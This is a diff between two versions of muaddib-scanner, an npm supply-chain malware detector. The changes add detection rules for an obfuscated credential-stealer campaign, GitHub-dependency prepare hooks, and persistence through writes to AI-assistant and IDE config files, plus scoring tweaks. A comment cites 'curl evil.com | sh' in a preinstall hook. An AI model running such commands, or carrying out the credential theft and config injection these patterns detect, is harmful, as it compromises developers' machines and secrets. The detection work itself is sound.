muaddib-scanner 2.11.10 → 2.11.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.11.10",
3
+ "version": "2.11.13",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -66,7 +66,12 @@ const HIGH_CONFIDENCE_MALICE_TYPES = new Set([
66
66
  'self_destruct_eval', // dynamic exec + unlink __filename (csec anti-forensics)
67
67
  // v2.10.94: MT-1 ceiling bypass for ltidi and csec under-threshold cases
68
68
  'external_tarball_dep', // dep URL = tarball on third-party host (ltidi chain)
69
- 'function_runtime_args' // new Function('require','__dirname','__filename',...) pattern (csec)
69
+ 'function_runtime_args', // new Function('require','__dirname','__filename',...) pattern (csec)
70
+ // Mini Shai-Hulud campaign (2026-05): env var names reconstructed via
71
+ // String.fromCharCode() to evade static analysis. Structurally unique to malware —
72
+ // no legitimate code reconstructs env var names from character codes. Bypasses MT-1
73
+ // cap since the attack uses optionalDependencies + prepare hook (no direct lifecycle).
74
+ 'env_charcode_reconstruction' // fromCharCode + process.env[computed] (TeamPCP credential stealer)
70
75
  ]);
71
76
 
72
77
  // Lifecycle compound types that indicate real malicious intent beyond a simple postinstall
@@ -157,18 +157,31 @@ function formatOutput(result, options, ctx) {
157
157
  if (deduped.length === 0) {
158
158
  console.log('[OK] No threats detected.\n');
159
159
  } else {
160
- console.log(`[ALERT] ${deduped.length} threat(s) detected:\n`);
161
- deduped.forEach((t, i) => {
162
- const countStr = t.count > 1 ? ` (x${t.count})` : '';
163
- console.log(` ${i + 1}. [${t.severity}] ${t.type}${countStr}`);
164
- console.log(` ${t.message}`);
165
- console.log(` File: ${t.file}`);
166
- const playbook = getPlaybook(t.type);
167
- if (playbook) {
168
- console.log(` \u2192 ${playbook}`);
160
+ // v2.11.11: Filter degraded LOW quick-scan signals from default output.
161
+ // These are regex-only detections in overflow files (no AST context) and
162
+ // clutter the output on monorepos. Show with --verbose. Scoring, JSON,
163
+ // SARIF, and HTML output are unaffected — this is display-only.
164
+ const hiddenCount = options.verbose ? 0 : deduped.filter(t => t.degraded && t.severity === 'LOW').length;
165
+ const displayThreats = options.verbose ? deduped : deduped.filter(t => !(t.degraded && t.severity === 'LOW'));
166
+ if (displayThreats.length === 0 && hiddenCount > 0) {
167
+ console.log(`[OK] No high-confidence threats detected (${hiddenCount} low-confidence signal(s) hidden, use --verbose to show).\n`);
168
+ } else {
169
+ console.log(`[ALERT] ${displayThreats.length} threat(s) detected:\n`);
170
+ displayThreats.forEach((t, i) => {
171
+ const countStr = t.count > 1 ? ` (x${t.count})` : '';
172
+ console.log(` ${i + 1}. [${t.severity}] ${t.type}${countStr}`);
173
+ console.log(` ${t.message}`);
174
+ console.log(` File: ${t.file}`);
175
+ const playbook = getPlaybook(t.type);
176
+ if (playbook) {
177
+ console.log(` \u2192 ${playbook}`);
178
+ }
179
+ console.log('');
180
+ });
181
+ if (hiddenCount > 0) {
182
+ console.log(` + ${hiddenCount} low-confidence signal(s) hidden (use --verbose to show)\n`);
169
183
  }
170
- console.log('');
171
- });
184
+ }
172
185
  }
173
186
 
174
187
  // Sandbox section (normal)
@@ -256,17 +256,26 @@ async function execute(targetPath, options, pythonDeps, warnings) {
256
256
  { re: /\bprocess\.mainModule\b/, type: 'dynamic_require', severity: 'MEDIUM', label: 'process.mainModule' },
257
257
  { re: /\bModule\._load\b/, type: 'module_load_bypass', severity: 'CRITICAL', label: 'Module._load' }
258
258
  ];
259
+ // v2.11.11: Tooling path detection for quick-scan. Files in standard monorepo
260
+ // tooling directories (scripts/, test/, examples/, .github/, compiler/) carry
261
+ // much lower signal than root/src files — build/CI/test scripts legitimately
262
+ // use child_process. Downgrade non-CRITICAL findings to LOW in these paths.
263
+ // Module._load remains CRITICAL — it is never legitimate in tooling scripts.
264
+ const TOOLING_PATH_RE = /(?:^|[/\\])(?:scripts|test|tests|__tests__|spec|examples|fixtures|compiler[/\\]scripts|\.github)[/\\]/i;
259
265
  for (const filePath of overflowFiles) {
260
266
  try {
261
267
  const stat = fs.statSync(filePath);
262
268
  if (stat.size > getMaxFileSize()) continue;
263
269
  const content = fs.readFileSync(filePath, 'utf8');
264
270
  const relFile = path.relative(targetPath, filePath);
271
+ const isToolingPath = TOOLING_PATH_RE.test(relFile);
265
272
  for (const pat of QUICK_SCAN_PATTERNS) {
266
273
  if (pat.re.test(content)) {
274
+ // Downgrade non-CRITICAL findings in tooling paths to LOW
275
+ const severity = (isToolingPath && pat.severity !== 'CRITICAL') ? 'LOW' : pat.severity;
267
276
  quickScanThreats.push({
268
277
  type: pat.type,
269
- severity: pat.severity,
278
+ severity,
270
279
  message: `[quick-scan] ${pat.label} detected in overflow file.`,
271
280
  file: relFile,
272
281
  degraded: true, // P3: regex-only detection, no semantic context
@@ -321,7 +321,7 @@ async function process(threats, targetPath, options, pythonDeps, warnings, scann
321
321
  // Compound scoring: inject synthetic CRITICAL threats when co-occurring types
322
322
  // indicate unambiguous malice. Applied AFTER FP reductions to recover signals
323
323
  // that were individually downgraded (count-based, dist, reachability, delta).
324
- applyCompoundBoosts(deduped);
324
+ applyCompoundBoosts(deduped, targetPath);
325
325
 
326
326
  // Intent coherence analysis: detect source→sink pairs within files
327
327
  // Pass targetPath for destination-aware SDK pattern detection
@@ -458,7 +458,11 @@ function analyzeFile(content, filePath, basePath) {
458
458
  }
459
459
  }
460
460
 
461
- if (callName === 'request' || callName === 'fetch' || callName === 'post' || callName === 'get') {
461
+ // v2.11.11: Removed bare 'get' getCallName() returns just the method name
462
+ // for member expressions (Map.get(), cache.get() → 'get'), causing massive FP
463
+ // on any file that calls .get(). Qualified http.get/https.get are already
464
+ // caught by MODULE_SINK_METHODS (lines 33-34) via taint-tracked module analysis.
465
+ if (callName === 'request' || callName === 'fetch' || callName === 'post') {
462
466
  sinks.push({
463
467
  type: 'network_send',
464
468
  name: callName,
@@ -64,9 +64,15 @@ function detectObfuscation(targetPath) {
64
64
  const pathParts = relativePath.split(path.sep);
65
65
  const isInDistOrBuild = pathParts.some(p => p === 'dist' || p === 'build');
66
66
  const isLargeCjsMjs = (basename.endsWith('.cjs') || basename.endsWith('.mjs')) && content.length > 100 * 1024;
67
- // P6: Any JS file > 100KB is overwhelmingly bundled output regardless of directory name.
68
- // Real obfuscated malware is typically small (<50KB). Catches prettier plugins/, svelte compiler/, etc.
69
- const isLargeJs = basename.endsWith('.js') && content.length > 100 * 1024;
67
+ // P6: Any JS file > 100KB is overwhelmingly bundled output regardless of directory name,
68
+ // UNLESS it contains javascript-obfuscator markers (_0x hex variables). Bundlers
69
+ // (webpack/rollup/esbuild) never produce _0x vars this is a discriminant unique to
70
+ // javascript-obfuscator, which is only used to hide malicious intent.
71
+ // Mini Shai-Hulud campaign (2026-05): 2.3MB payload exploited the original blanket
72
+ // exemption to evade detection on @tanstack/react-router (12M weekly downloads).
73
+ const isLargeJsCandidate = basename.endsWith('.js') && content.length > 100 * 1024;
74
+ const hasObfuscatorMarkers = isLargeJsCandidate && /\b_0x[a-f0-9]{4,}\b/.test(content.slice(0, 8192));
75
+ const isLargeJs = isLargeJsCandidate && !hasObfuscatorMarkers;
70
76
  // Locale/i18n files legitimately contain invisible Unicode (e.g. Persian ZWNJ U+200C)
71
77
  const isLocaleFile = /(?:^|[/\\])(?:locale|locales|i18n|intl|lang|languages|translations)[/\\]/i.test(relativePath);
72
78
  const isPackageOutput = isMinified || isBundled || isInDistOrBuild || isLargeCjsMjs || isLargeJs || isLocaleFile;
@@ -370,7 +370,11 @@ async function scanPackageJson(targetPath) {
370
370
  });
371
371
  }
372
372
  // Detect git-based dependencies — potential PackageGate RCE vector
373
- if (typeof depVersion === 'string' && /^git[+:]/.test(depVersion)) {
373
+ // Covers git+https://, git://, and platform shorthands (github:, gitlab:, bitbucket:)
374
+ // which resolve to git repos and execute lifecycle hooks (prepare) on install.
375
+ // Mini Shai-Hulud campaign (2026-05): github:tanstack/router#commit exploited the
376
+ // prepare hook to execute tanstack_runner.js.
377
+ if (typeof depVersion === 'string' && /^(?:git[+:]|github:|gitlab:|bitbucket:)/.test(depVersion)) {
374
378
  threats.push({
375
379
  type: 'git_dependency_rce',
376
380
  severity: 'HIGH',
package/src/scoring.js CHANGED
@@ -457,7 +457,13 @@ const REACHABILITY_EXEMPT_TYPES = new Set([
457
457
  'function_constructor_require', // AST-086 — Function.constructor("require", body)
458
458
  'process_variable_shadow', // AST-087 — const process = {env:{...}}
459
459
  'function_runtime_args', // AST-090 — new Function('require','__dirname',...)
460
- 'self_destruct_eval' // AST-089 — dynamic exec + unlink __filename
460
+ 'self_destruct_eval', // AST-089 — dynamic exec + unlink __filename
461
+ // Mini Shai-Hulud campaign (2026-05): env var names reconstructed via
462
+ // String.fromCharCode() to evade static analysis. Structurally unique to malware —
463
+ // no legitimate code reconstructs env var names from character codes. Injected files
464
+ // (router_init.js) are unreachable via require/import but execute via lifecycle hooks
465
+ // or optionalDependencies with prepare scripts.
466
+ 'env_charcode_reconstruction' // AST-018 — fromCharCode + process.env[computed]
461
467
  ]);
462
468
 
463
469
  // ============================================
@@ -515,17 +521,27 @@ const SCORING_COMPOUNDS = [
515
521
  // C7 : when every component lives only in dist/build/out, the cooccurrence
516
522
  // is bundler aggregation (a postinstall mention + a pre-bundled HTTP client
517
523
  // with credential fields), not real exfiltration. Skip the compound.
518
- excludeIfBundled: true
524
+ excludeIfBundled: true,
525
+ // v2.11.11: Scope to lifecycle target file + 1-level imports. On monorepos
526
+ // (React, Next.js) the unscoped co-occurrence of lifecycle_script + any
527
+ // suspicious_dataflow anywhere in the repo is noise. The compound should
528
+ // only fire when the dataflow signal is in the file directly executed by
529
+ // the lifecycle script or in its static imports.
530
+ lifecycleScoped: true
519
531
  },
520
532
  {
521
533
  type: 'lifecycle_dangerous_exec',
522
534
  requires: ['lifecycle_script', 'dangerous_exec'],
523
535
  severity: 'CRITICAL',
524
536
  message: 'Lifecycle hook + dangerous shell execution — install-time command injection (scoring compound).',
525
- fileFrom: 'dangerous_exec'
537
+ fileFrom: 'dangerous_exec',
526
538
  // No sameFile: lifecycle is package-level
527
539
  // dangerous_exec is in DIST_EXEMPT_TYPES so it is never coincidental in
528
540
  // dist/ ; no excludeIfBundled gate added here.
541
+ // v2.11.11: Scope to lifecycle target file + 1-level imports. Without this,
542
+ // a monorepo postinstall referencing a clean setup script correlates with
543
+ // exec() in unrelated release/CI scripts → CRITICAL false positive.
544
+ lifecycleScoped: true
529
545
  },
530
546
  {
531
547
  type: 'obfuscated_lifecycle_env',
@@ -595,13 +611,117 @@ const SCORING_COMPOUNDS = [
595
611
  },
596
612
  ];
597
613
 
614
+ // v2.11.11: Extract static require/import targets from a JS file (1 level).
615
+ // Returns a Set of relative file paths (normalized with forward slashes).
616
+ const _acorn = require('acorn');
617
+ const _acornWalk = require('acorn-walk');
618
+
619
+ function _extractStaticImports(filePath) {
620
+ const imports = new Set();
621
+ try {
622
+ const content = require('fs').readFileSync(filePath, 'utf8');
623
+ const ast = _acorn.parse(content, { sourceType: 'module', ecmaVersion: 'latest', allowReturnOutsideFunction: true, allowImportExportEverywhere: true });
624
+ _acornWalk.simple(ast, {
625
+ CallExpression(node) {
626
+ if (node.callee.type === 'Identifier' && node.callee.name === 'require' &&
627
+ node.arguments.length > 0 && node.arguments[0].type === 'Literal' &&
628
+ typeof node.arguments[0].value === 'string') {
629
+ const target = node.arguments[0].value;
630
+ if (target.startsWith('.')) imports.add(target);
631
+ }
632
+ },
633
+ ImportDeclaration(node) {
634
+ if (node.source && typeof node.source.value === 'string' && node.source.value.startsWith('.')) {
635
+ imports.add(node.source.value);
636
+ }
637
+ }
638
+ });
639
+ } catch { /* parse failure — return empty set */ }
640
+ return imports;
641
+ }
642
+
643
+ // v2.11.11: Lifecycle scope resolution. Determines if a lifecycleScoped compound
644
+ // should fire based on whether the non-lifecycle threats are in the lifecycle
645
+ // target file or its direct static imports.
646
+ // Returns: 'pass' (compound should fire), 'skip' (no match in scope), 'unscoped' (can't resolve target)
647
+ const _NODE_FILE_RE = /\bnode\s+(?:\.\/)?([^\s"';&|]+\.(?:js|mjs|cjs))\b/;
648
+
649
+ function _resolveLifecycleScopeGate(compound, threats, targetPath) {
650
+ const fs = require('fs');
651
+ const pathMod = require('path');
652
+
653
+ // 1. Extract lifecycle target files from lifecycle_script threats + package.json
654
+ const lifecycleTargetFiles = new Set();
655
+ const lifecycleThreats = threats.filter(t => t.type === 'lifecycle_script');
656
+ for (const lt of lifecycleThreats) {
657
+ const match = lt.message && _NODE_FILE_RE.exec(lt.message);
658
+ if (match) lifecycleTargetFiles.add(match[1]);
659
+ }
660
+
661
+ // Also read package.json directly for robustness
662
+ try {
663
+ const pkgPath = pathMod.join(targetPath, 'package.json');
664
+ if (fs.existsSync(pkgPath)) {
665
+ const pkgData = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
666
+ const scripts = pkgData.scripts || {};
667
+ const LIFECYCLE_NAMES = ['preinstall', 'install', 'postinstall', 'preuninstall', 'postuninstall', 'prepare'];
668
+ for (const name of LIFECYCLE_NAMES) {
669
+ if (scripts[name]) {
670
+ const m = _NODE_FILE_RE.exec(scripts[name]);
671
+ if (m) lifecycleTargetFiles.add(m[1]);
672
+ }
673
+ }
674
+ }
675
+ } catch { /* ignore */ }
676
+
677
+ // 2. If no target file extractable, return 'unscoped'
678
+ if (lifecycleTargetFiles.size === 0) return 'unscoped';
679
+
680
+ // 3. Build the scoped file set: target files + their 1-level static imports
681
+ const scopedFiles = new Set();
682
+ for (const relTarget of lifecycleTargetFiles) {
683
+ const normalized = relTarget.replace(/\\/g, '/');
684
+ scopedFiles.add(normalized);
685
+ // Parse the target file and extract its static imports
686
+ const absTarget = pathMod.resolve(targetPath, relTarget);
687
+ const imports = _extractStaticImports(absTarget);
688
+ for (const imp of imports) {
689
+ // Resolve relative import against the target file's directory
690
+ const impDir = pathMod.dirname(absTarget);
691
+ let resolved = pathMod.relative(targetPath, pathMod.resolve(impDir, imp)).replace(/\\/g, '/');
692
+ // Try with .js extension if not present
693
+ if (!resolved.match(/\.(js|mjs|cjs)$/)) {
694
+ if (fs.existsSync(pathMod.resolve(targetPath, resolved + '.js'))) {
695
+ resolved += '.js';
696
+ } else if (fs.existsSync(pathMod.resolve(targetPath, resolved, 'index.js'))) {
697
+ resolved = resolved + '/index.js';
698
+ }
699
+ }
700
+ scopedFiles.add(resolved);
701
+ }
702
+ }
703
+
704
+ // 4. Check if any non-lifecycle required type has a threat in the scoped file set
705
+ const nonLifecycleReqs = compound.requires.filter(r => r !== 'lifecycle_script');
706
+ for (const req of nonLifecycleReqs) {
707
+ const reqThreats = threats.filter(t => t.type === req && t.file);
708
+ for (const t of reqThreats) {
709
+ const normalizedFile = t.file.replace(/\\/g, '/');
710
+ if (scopedFiles.has(normalizedFile)) return 'pass';
711
+ }
712
+ }
713
+
714
+ return 'skip';
715
+ }
716
+
598
717
  /**
599
718
  * Apply compound boost rules: inject synthetic CRITICAL threats when
600
719
  * co-occurring threat types indicate unambiguous malice.
601
720
  * Called AFTER applyFPReductions to recover individually-downgraded signals.
602
721
  * @param {Array} threats - deduplicated threat array (mutated in place)
722
+ * @param {string} [targetPath] - scan target directory (for lifecycle scope resolution)
603
723
  */
604
- function applyCompoundBoosts(threats) {
724
+ function applyCompoundBoosts(threats, targetPath) {
605
725
  const typeSet = new Set(threats.map(t => t.type));
606
726
 
607
727
  // Build map of type → first file encountered (for file assignment)
@@ -661,6 +781,36 @@ function applyCompoundBoosts(threats) {
661
781
  if (anyFileBearing && allComponentsBundled) continue;
662
782
  }
663
783
 
784
+ // v2.11.11: Lifecycle scope gate. For compounds with lifecycleScoped: true,
785
+ // the non-lifecycle required type must have at least one threat in the file
786
+ // directly executed by the lifecycle script OR in its static imports (1 level).
787
+ // On monorepos, unscoped co-occurrence (lifecycle in package.json + exec in
788
+ // scripts/release/publish.js) is noise. Fallback: when no target file can be
789
+ // extracted (e.g. "npm run build"), the compound fires with severity capped
790
+ // at HIGH and tagged unscopedCompound so the floor-50 logic skips it.
791
+ if (compound.lifecycleScoped && targetPath) {
792
+ const scopeResult = _resolveLifecycleScopeGate(compound, threats, targetPath);
793
+ if (scopeResult === 'skip') continue;
794
+ if (scopeResult === 'unscoped') {
795
+ // Can't extract target file — fire but cap severity and tag
796
+ if (!compoundAlreadyPresent) {
797
+ const cappedSeverity = compound.severity === 'CRITICAL' ? 'HIGH' : compound.severity;
798
+ threats.push({
799
+ type: compound.type,
800
+ severity: cappedSeverity,
801
+ message: compound.message + ' (unscoped — lifecycle target not resolvable)',
802
+ file: typeFileMap[compound.fileFrom] || '(unknown)',
803
+ count: 1,
804
+ compound: true,
805
+ unscopedCompound: true
806
+ });
807
+ typeSet.add(compound.type);
808
+ }
809
+ continue; // skip the normal push below — already handled
810
+ }
811
+ // scopeResult === 'pass' — compound fires normally
812
+ }
813
+
664
814
  // Same-file constraint: required types must appear in at least one common file.
665
815
  // sameFile: true = ALL required types must share a file.
666
816
  // sameFileTypes: [...] = only specified types must share a file.
@@ -736,6 +886,16 @@ function applyFPReductions(threats, reachableFiles, packageName, packageDeps, re
736
886
  typeCounts[t.type] = (typeCounts[t.type] || 0) + 1;
737
887
  }
738
888
 
889
+ // Mini Shai-Hulud (2026-05): pre-compute files that contain reachability-exempt
890
+ // findings. Co-occurring threats in these files are also exempt from the
891
+ // unreachable downgrade — the exempt finding proves structural malice.
892
+ const _filesWithExemptThreats = new Set();
893
+ for (const t of threats) {
894
+ if (t.file && REACHABILITY_EXEMPT_TYPES.has(t.type)) {
895
+ _filesWithExemptThreats.add(t.file.replace(/\\/g, '/'));
896
+ }
897
+ }
898
+
739
899
  const totalThreats = threats.length;
740
900
 
741
901
  // P4: Plugin loader pattern — packages with 5+ dynamic_require + dynamic_import combined
@@ -954,12 +1114,18 @@ function applyFPReductions(threats, reachableFiles, packageName, packageDeps, re
954
1114
  // Reachability: findings in files not reachable from entry points → LOW
955
1115
  // Exception: .d.ts files are never require()'d by JS but are executed by ts-node/tsx/bun.
956
1116
  // Executable code in .d.ts is always malicious — exempt from unreachable downgrade.
1117
+ // Exception 2 (Mini Shai-Hulud, 2026-05): if the same file contains at least one
1118
+ // reachability-exempt finding (env_charcode_reconstruction, function_constructor_require,
1119
+ // etc.), all other findings in that file are also exempt. Rationale: the exempt
1120
+ // finding proves the file contains structurally malicious code, so co-occurring
1121
+ // signals (obfuscation, dataflow, credential harvest) are scoring-relevant regardless
1122
+ // of whether the file is reachable via require/import.
957
1123
  const isDtsFile = t.file && t.file.endsWith('.d.ts');
958
1124
  if (reachableFiles && reachableFiles.size > 0 && t.file &&
959
1125
  !REACHABILITY_EXEMPT_TYPES.has(t.type) &&
960
1126
  !isPackageLevelThreat(t) && !isDtsFile) {
961
1127
  const normalizedFile = t.file.replace(/\\/g, '/');
962
- if (!reachableFiles.has(normalizedFile)) {
1128
+ if (!reachableFiles.has(normalizedFile) && !_filesWithExemptThreats.has(normalizedFile)) {
963
1129
  t.reductions.push({ rule: 'unreachable', from: t.severity, to: 'LOW' });
964
1130
  t.severity = 'LOW';
965
1131
  t.unreachable = true;
@@ -1139,7 +1305,9 @@ function calculateRiskScore(deduped, intentResult) {
1139
1305
  let packageScore = computeGroupScore(packageLevelThreats);
1140
1306
  // Floor: CRITICAL package-level threats (lifecycle_shell_pipe, IOC match) → minimum HIGH (50)
1141
1307
  // A single "curl evil.com | sh" in preinstall = 25 points = MEDIUM without floor.
1142
- if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
1308
+ // v2.11.11: unscopedCompound threats (lifecycle target not resolvable) are excluded from
1309
+ // the floor — they represent uncertain correlations that should not inflate the score.
1310
+ if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL' && !t.unscopedCompound)) {
1143
1311
  packageScore = Math.max(packageScore, 50);
1144
1312
  }
1145
1313
  // v2.10.94: Co-occurrence floor — 2+ distinct CRITICAL package-level types (different
@@ -1147,7 +1315,7 @@ function calculateRiskScore(deduped, intentResult) {
1147
1315
  // (CRITICAL tier) so the final risk level reflects real severity instead of stopping
1148
1316
  // at HIGH. Catches apache-arrow-14 (curl_env_exfil + lifecycle_env_exfil compound).
1149
1317
  const criticalPkgTypes = new Set(
1150
- packageLevelThreats.filter(t => t.severity === 'CRITICAL').map(t => t.type)
1318
+ packageLevelThreats.filter(t => t.severity === 'CRITICAL' && !t.unscopedCompound).map(t => t.type)
1151
1319
  );
1152
1320
  if (criticalPkgTypes.size >= 2) {
1153
1321
  packageScore = Math.max(packageScore, 75);
@@ -1176,7 +1344,7 @@ function calculateRiskScore(deduped, intentResult) {
1176
1344
  const boostPackageThreats = deduped.filter(t => isPackageLevelThreat(t) && t.boostSignal);
1177
1345
  if (boostPackageThreats.length > 0) {
1178
1346
  packageScore = computeGroupScore([...packageLevelThreats, ...boostPackageThreats]);
1179
- if (packageScore >= 25 && [...packageLevelThreats, ...boostPackageThreats].some(t => t.severity === 'CRITICAL')) {
1347
+ if (packageScore >= 25 && [...packageLevelThreats, ...boostPackageThreats].some(t => t.severity === 'CRITICAL' && !t.unscopedCompound)) {
1180
1348
  packageScore = Math.max(packageScore, 50);
1181
1349
  }
1182
1350
  }
@@ -105,7 +105,13 @@ const VETO_TYPES = new Set([
105
105
  // IOC hits (never downgraded regardless of context)
106
106
  'ioc_match',
107
107
  'known_malicious_package',
108
- 'shai_hulud_marker'
108
+ 'shai_hulud_marker',
109
+ // Mini Shai-Hulud campaign (2026-05): detached process + credential harvest + network
110
+ // is the DPRK/Lazarus evasion pattern. Writing to .claude/settings.json or
111
+ // .vscode/tasks.json is developer tooling persistence — never produced by a bundler.
112
+ 'detached_credential_exfil', // AST-047 — spawn detached + env + network
113
+ 'ai_config_injection', // AST-027 — writes to .claude/ MCP config
114
+ 'ide_task_persistence' // AST-035 — writes to .vscode/tasks.json
109
115
  ]);
110
116
 
111
117
  // Sensitive environment variable patterns. An `env_access` threat whose